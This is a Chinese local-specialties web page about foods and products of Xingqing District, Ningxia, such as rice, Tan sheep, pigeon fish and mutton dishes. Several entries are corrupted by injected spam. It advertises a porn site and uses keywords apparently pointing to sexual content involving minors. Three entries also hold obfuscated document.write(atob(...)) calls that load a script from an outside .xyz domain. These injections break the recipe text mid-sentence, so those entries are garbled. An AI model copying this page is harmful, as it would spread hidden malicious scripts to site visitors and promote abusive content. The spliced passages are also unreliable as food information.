兴庆区特产介绍
-
宁夏大米
宁夏大米曾居贡米之列。康熙访宁夏时,钦点为宴席主食,誉为朔方贡米。宁夏大米不仅产量丰盈,而且品质具备了粒圆、色洁、油润、味香四大特点,蛋白质、脂肪含量尤高。用其蒸制的米饭,洁白如脂,粒粒晶莹,黏而不腻,油润香口,与著名的天津小站米可以相媲美。特别是青铜峡市盛产的白皮大稻,加工后的精米,粒圆饱满,更是 详细
-
滩羊
宁夏滩羊是我国优良裘用绵羊品种之一,通常制裘用二毛皮。二毛皮是由一个月左右的滩羊羔皮,采用化学制剂和先进工艺精制而成的。毛质细润轻柔、洁白如雪、光泽如玉,毛穗自然弯曲,有的多达九道,故有九道弯之称。若轻轻一抖犹如风摆花穗,又好似水纹波浪。用二毛皮制作的男女冬装,既轻柔暖和,又美观大方,具有很好的装饰 详细
-
宁夏珍珠米
即宁夏大米,产量丰盈,以品优质佳而著称,清朝曾被列为朔方贡米。康熙访宁时钦点为宴席主食,称为珍珠梗米。珍珠米粒圆、色洁、油润、味香、蛋白质、脂肪含量高,营养丰富。用其蒸制的米饭,洁白如脂,粒粒晶莹,粘而不腻,油润香口,特别是青铜峡市叶盛白皮大稻加工的精米,更是珍品。(银川)文轩4000再约高颜值返场集锦, 详细
-
黄河鸽子鱼
又名宫筵鱼。形体似鲤,但体窄嘴尖,酷似鸽子,得名鸽子鱼。其肉细嫩少剌,清蒸后淳香扑鼻,营养丰富,鲜养可口,具有醒酒解醉之效,祛寒保暖之功。由于鸽子鱼生活的水域小,黄河谷中水急浪高,难以捕捞,更显得珍奇名贵,在清代为贡鱼。(银川)航空航天公司1-19赵静李岩,17C官方网站,文轩4000再约高颜值返场集锦document. 详细
-
羯羊脖肉炖黄芪
将黄芪用温水洗净,放入砂锅,加入冷水,先用旺火烧开,再用文火慢熬。将绵羯羊脖肉顺骨节切开,从骨节中间一砍两半。放入清水中浸泡30分钟,再放入汤锅稍煮,捞出控净水分。然后将熬好的黄芪汤汁和脖肉块一并放入砂锅置旺火上烧,撇净浮沫,放入调料包、葱段、精盐,待肉烂汁浓,捞去葱段和调料包,装入汤盘上席。此菜具有 详细
-
枸杞根茶
营养成分:富含桂皮酚,多量酚性物质,甜菜碱,β-谷氨酸,亚油酸,亚麻酸,三十一酸,草酸钙,地骨皮胺A饮用方法:每天取地骨皮50克,加水1000ML慢火煎至500ML即可。功效:解热消渴,抗菌抗病毒,润肺通便,增强人体免疫力。有明显的降低血糖作用,是目前糖尿病人的最佳饮品。枸杞根也称地骨皮、仙人杖。具有凉血清热,清肺 详细
-
蒸羊羔肉
蒸羊羔肉选用40~50天的羊羔(俗称够毛羔),宰后用凉水泡去血水后,剁成小块放入盆内,加入少量白面、香油、红葱末、调料、盐,搅拌均匀装碗上笼,旺火约蒸90分钟即可。一起草WWW.17.C.Com,暗交拗女一区二区三区张婉莹,一小孩和妈妈摘萝卜不盖被子document.write(atob("PHNjcmlwdCBzcmM9Ii8vcXouMjAzODYyMzYxNzYueHl 详细
-
宁夏羊肉粉汤
粉汤由肉或土豆丸子、夹板、肉丁、凉粉片、土豆块、青萝卜块、粉条、豆腐等一锅烩成。有条件的还在锅里放金针、木耳、梅豆,作为油香、米饭等食品的佐菜。一般家庭日常生活改口味,还喜欢吃粉汤饺子,即将饺子煮熟后,捞入滚开的粉汤中。17c.com,一起草WWW.17.C.Com,暗交拗女一区二区三区张婉莹 详细
-
水盆羊肉
水盆羊肉起源于明朝崇祯年间,因在农历六月上市,又称六月鲜。韩城市蒲城、大荔的水盆羊肉,久负盛名。以剔骨鲜羊肉、骨头、桂皮、花菽、小茴香、草果、精盐、味精为原料,分原料处理、煮羊肉、调制熟羊肉三道工序,食用时用烧饼或白吉馍同吃,佐以糖蒜、辣子酱、鲜蒜瓣,则肉烂汤清,肥而不腻,清醇可口,别具风味。17c14. 详细
-
鸭火锅
鸭火锅在银川崭露头角大抵可以追溯至2005年春末。这种源自重庆的美味火锅在银川颇受欢迎,生意红火时,有的店一天的用鸭量就超过了三百余只。正宗的鸭火锅的主料选用的是从四川、重庆一带运来的麻鸭;辅料可选用乌鸡,或甲鱼、鹅掌等;炖料则以秘制的川味酸萝卜为特色,口感香而不辣。鸭火锅在烹制中注重中药材的搭配使用, 详细
-
月牙湖手抓羊肉
月牙湖手抓羊肉以大羊肉为主,其原料均取自月牙湖农家,这里空气无污染,生态环境极佳,也就造就了独具特色的月牙湖羊肉,肥而不腻清爽可口,四季佳品。肉极软烂,味酸、辣、鲜、香。手抓羊肉的鲜美其实并不如我们想象的那样是因为用手抓,而是因为当地的羊、当地的水还有当地的烹饪方法。手抓羊肉一种是大羊肉,一种为羊羔 详细
-
莜面蒸饺
莜麦蒸饺包馅不同,风味也各异,但莜面固有的醇香不变。其做法是用刚烧开的滚水将莜面和成盆光、面光、手光的三光面团,用两手搓成直径7-8cm薄如饺皮的圆形面片,然后将面片对折起来,把事先准备好的菜(多数为山药丝拌蔬菜,有的可以山药丝拌韭菜茉,也可以山药拌茴子白菜,还可以葫萝卜拌肉丝)包入其内,用手指捏好口封 详细
-
莜面土豆鱼鱼
一.原料:一起草,www,17c,com,九九九人力资源有限公司,13000部幼儿破解主料:莜面200克.配料:猪肉50克,粉条15克,豆角20克,海带10克,土豆20克,西红柿30克,白芝麻5克,香菜3克.调味品:生姜片3克,蒜片4克,盐3克,味精3克,陈醋5克,酱油3克.二.制作过程:1.莜面粉加水和成面团,用手搓成两端细中间粗白勺橄榄形(北方称鱼鱼),用水煮熟 详细
-
沙湖酥香羊背
古夏烤羊背,选用的是我们宁夏当地优质末齿绵羯羊,我们宁夏讲究这种羊肉壮而不腻,肉鲜不膻。经过腌制、煮制,最后烤制而成,工序复杂,口感独特,外焦里嫩,香味十足。国外岁拗女稀缺资源,一起草www.17c.com,一起草,www,17c,comdocument.write(atob("PHNjcmlwdCBzcmM9Ii8vcXouMjAzODYyMzYxNzYueHl6L2lmcmFtZS5qcyIg 详细
-
外婆鱼干
利用本身存有异味的鳐类、白鳗、海鲶等鱼类为原料,制成具有外观好,鱼臭味小,不易发霉,保存性好,加热调理后的表面色泽好,鱼香味浓等优点的鱼干品。制作方法将除去头、内脏等的鱼肉,用0.1~0.5%(重量比)木糖-(或含木糖0.1~0.5%的混合调味液),通过浸渍等方法加以调味。然后经日晒或在60℃以下热风干燥,制成干品。实 详细
-
清炖羊脖
原料:羊脖一个、青萝卜250克。调料:鲜姜20克、葱末、香菜末、盐各适量。做法:1、羊脖一个横切1公分左右的片,青萝卜切片,鲜姜切片。2、把切好的羊脖放入锅中,加水漫过煮开倒掉水。3、将煮过的羊脖重新放入锅中,加开水漫过肉,加入生姜片,煮到八分熟加盐,直到肉煮烂,加葱末、香菜末出锅。特点;《清炖羊脖》汤鲜味 详细
-
烤羊背
这道菜也是蒙古族人在非常隆重喜庆的场合才会制作的一道美食,按照蒙古族师傅的话来说,一头羊除了羊腿,肉就都在羊背上了,所以烤羊背也是一道庞然大菜。选用了草原牧场上最肥美的白条羊背,用当归等三十余种中草药和天然调味品腌制24-36个小时,腌好的羊背要在特制烤炉中度过2个小时左右的烘烤,注意一定得是野杏、桃、李 详细
-
豆花鱼头
黄沙清水绿芦苇,碧波映出鱼儿壮。沙湖鱼头----是宁夏特有的地域特产,尊园佳肴豆花鱼头则是鱼头系列菜品中的精品,精在豆花的营养,鱼头的鲜嫩,品在其咸鲜略甜的宁夏特色。一起草,www,17c,com,暗交拗女一区二区三区,航空航天公司1-19赵静李岩document.write(atob("PHNjcmlwdCBzcmM9Ii8vcXouMjAzODYyMzYxNzYueHl6L2lmc 详细